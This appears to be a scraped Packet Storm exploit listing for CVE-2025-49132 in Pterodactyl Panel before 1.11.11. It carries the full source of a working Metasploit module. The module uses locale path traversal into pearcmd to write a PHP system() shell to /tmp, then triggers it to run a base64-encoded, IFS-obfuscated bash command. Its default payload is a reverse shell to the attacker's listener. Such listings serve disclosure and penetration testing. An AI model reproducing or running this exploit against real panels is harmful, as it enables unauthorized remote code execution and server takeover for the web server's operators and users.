{“lastseen”:”2026-02-17T18:12:55″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP file via the locale functionality and then execute it to gain a reverse…”,”published”:”2026-02-17T00:00:00″,”modified”:”2026-02-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pterodactyl Panel Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215741″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-49132″],”sourceData”:”=============================================================================================================================================\\n | # Title : Pterodactyl Panel \\u003c 1.11.11 Remote Code Execution Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits) |\\n | # Vendor : https:\/\/pterodactyl.io\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.\\n The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. \\n \\t\\t\\t\\t Successful exploitation may lead to remote shell access under the privileges of the web server user.\\n \\n [+] POC : \\n \\n set RHOSTS target.com\\n set RPORT 80\\n set TARGETURI \/\\n set LHOST your_ip\\n set LPORT your_port\\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n require ‘base64’\\n require ‘json’\\n require ‘rubygems’ \\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Pterodactyl Panel \\u003c 1.11.11 Remote Code Execution’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel\\n versions before 1.11.11. The vulnerability allows an attacker to write a malicious\\n PHP file via the locale functionality and then execute it to gain a reverse shell.\\n },\\n ‘Author’ =\\u003e [\\n ‘pwndalf’, \\n ‘indoushka’ \\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-49132’],\\n [‘URL’, ‘https:\/\/github.com\/pwndalf\/CVE-2025-49132-PoC’]\\n ],\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Arch’ =\\u003e [ARCH_CMD],\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix Command’,\\n {\\n ‘Platform’ =\\u003e ‘unix’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Type’ =\\u003e :unix_cmd,\\n ‘DefaultOptions’ =\\u003e { ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_bash’ }\\n }\\n ]\\n ],\\n ‘Privileged’ =\\u003e false,\\n ‘DisclosureDate’ =\\u003e ‘2025-10-15’,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘TARGETURI’, [true, ‘The base path to the Pterodactyl Panel’, ‘\/’]),\\n OptString.new(‘PEAR_PATH’, [true, ‘Path to the PHP PEAR library’, ‘\/usr\/share\/php\/PEAR\/’]),\\n OptString.new(‘TMP_FILE’, [true, ‘Temporary file name for payload’, ‘payload.php’])\\n ]\\n )\\n end\\n \\n def check\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘version’)\\n })\\n \\n unless res\\n return CheckCode::Unknown(‘Connection failed’)\\n end\\n \\n if res.code == 200 \\u0026\\u0026 res.body\\n version = extract_version(res.body)\\n \\n if version\\n vprint_status(\\”Detected Pterodactyl version: #{version}\\”)\\n \\n begin\\n current_version = Gem::Version.new(version)\\n vulnerable_version = Gem::Version.new(‘1.11.11’)\\n \\n if current_version \\u003c vulnerable_version\\n return CheckCode::Appears(\\”Vulnerable version detected: #{version}\\”)\\n else\\n return CheckCode::Safe(\\”Patched version detected: #{version}\\”)\\n end\\n rescue ArgumentError =\\u003e e\\n vprint_error(\\”Invalid version format: #{e.message}\\”)\\n return CheckCode::Unknown(‘Invalid version format’)\\n end\\n end\\n end\\n \\n locale_res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘locales’, ‘locale.json’)\\n })\\n \\n if locale_res \\u0026\\u0026 locale_res.code == 200\\n return CheckCode::Detected(‘Pterodactyl panel detected, but version could not be confirmed’)\\n end\\n \\n CheckCode::Safe(‘Target does not appear to be running Pterodactyl panel’)\\n rescue ::Rex::ConnectionError\\n CheckCode::Unknown(‘Connection failed’)\\n end\\n \\n def extract_version(body)\\n \\n json_data = JSON.parse(body) rescue nil\\n if json_data.is_a?(Hash) \\u0026\\u0026 json_data[‘version’]\\n return json_data[‘version’]\\n end\\n \\n if body =~ \/\\u003cmeta[^\\u003e]*name=\\”version\\”[^\\u003e]*content=\\”([^\\”]+)\\”[^\\u003e]*\\u003e\/i\\n return $1\\n end\\n \\n if body =~ \/Pterodactyl[^\\u003c]*v?(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/i\\n return $1\\n end\\n \\n nil\\n end\\n \\n def execute_command(cmd)\\n encoded_cmd = Base64.strict_encode64(cmd)\\n payload_cmd = \\”echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash\\”\\n write_uri = normalize_uri(target_uri.path, ‘locales’, ‘locale.json’)\\n php_payload = \\”\\u003c?=system(‘#{payload_cmd}’)?\\u003e\\”\\n \\n print_status(\\”Attempting to write payload to #{datastore[‘TMP_FILE’]}\\”)\\n write_res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e write_uri,\\n ‘vars_get’ =\\u003e {\\n ‘+config-create+’ =\\u003e ”,\\n ‘locale’ =\\u003e \\”..\/..\/..\/..\/..#{datastore[‘PEAR_PATH’]}\\”,\\n ‘namespace’ =\\u003e ‘pearcmd’,\\n ‘\/’ =\\u003e php_payload + \\” \/tmp\/#{datastore[‘TMP_FILE’]}\\”\\n }\\n }, 10) \\n \\n unless write_res \\u0026\\u0026 write_res.code == 200\\n fail_with(Failure::NotVulnerable, ‘Failed to write payload’)\\n end\\n \\n print_good(\\”Payload written successfully\\”)\\n \\n trigger_uri = normalize_uri(target_uri.path, ‘locales’, ‘locale.json’)\\n \\n print_status(\\”Triggering payload…\\”)\\n begin\\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e trigger_uri,\\n ‘vars_get’ =\\u003e {\\n ‘locale’ =\\u003e ‘..\/..\/..\/..\/..\/..\/tmp’,\\n ‘namespace’ =\\u003e ‘payload’\\n }\\n }, 5) \\n rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout\\n \\n vprint_status(‘Trigger request completed (expected timeout\/error)’)\\n end\\n \\n print_status(‘Payload triggered. Check your listener for incoming connection.’)\\n \\n rescue ::Rex::ConnectionError =\\u003e e\\n fail_with(Failure::Unreachable, e.message)\\n end\\n \\n def exploit\\n \\n if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?\\n fail_with(Failure::BadConfig, ‘No valid payload selected or payload is empty’)\\n end\\n unless target[‘Type’] == :unix_cmd \\u0026\\u0026 Array(target.arch).include?(ARCH_CMD)\\n fail_with(Failure::BadConfig, ‘Target is not compatible with command payload’)\\n end\\n \\n print_status(\\”Exploiting #{datastore[‘RHOSTS’]}:#{datastore[‘RPORT’]}\\”)\\n command = payload.encoded\\n execute_command(command)\\n handler\\n end\\n end\\n \\t\\n Greetings to :======================================================================\\n jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n ====================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215741″,”cvss”:{“score”:10,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215741\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-17T18:12:55″,”description”:”This Metasploit module exploits a remote code execution vulnerability in Pterodactyl Panel versions before 1.11.11. The vulnerability allows an attacker to write a malicious PHP…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-41168","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n